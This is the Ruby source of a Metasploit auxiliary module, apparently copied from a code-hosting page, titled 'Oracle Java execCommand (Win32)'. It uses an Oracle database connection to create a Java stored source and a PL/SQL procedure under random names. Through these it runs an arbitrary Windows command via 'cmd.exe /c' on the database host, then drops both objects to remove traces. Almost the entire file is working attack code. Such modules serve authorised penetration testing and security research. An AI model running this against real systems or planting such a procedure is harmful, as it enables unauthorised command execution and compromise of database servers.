85 lines
2.1 KiB
Ruby
85 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::ORACLE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle Java execCommand (Win32)',
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'Description' => %q{
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This module will create a java class which enables the execution of OS commands.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://www.metasploit.com/users/mc' ],
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],
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'DisclosureDate' => 'Dec 7 2007'))
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register_options(
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[
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OptString.new('CMD', [ false, 'The OS command to execute.', 'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),
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], self.class)
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end
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def run
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return if not check_dependencies
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source = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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java = "
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create or replace and resolve java source named \"#{source}\" as
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import java.lang.*;
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import java.io.*;
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public class #{source}
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{
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public static void execCommand (String command) throws IOException
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{
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Runtime.getRuntime().exec(command);
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}
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};
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"
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procedure = "
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create or replace procedure #{name} (p_command in varchar2)
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as language java
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name '#{source}.execCommand (java.lang.String)';
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"
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exec = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"
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drops = "drop java source #{source}"
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dropp = "drop procedure #{name}"
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begin
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print_status("Creating java source '#{source}'...")
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prepare_exec(java)
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rescue => e
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return
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end
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print_status("Creating procedure '#{name}'...")
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prepare_exec(procedure)
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print_status("Sending command: '#{datastore['CMD']}'")
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prepare_exec(exec)
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print_status("Removing java source '#{source}'...")
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prepare_exec(drops)
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print_status("Removing procedure '#{name}'...")
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prepare_exec(dropp)
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end
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end
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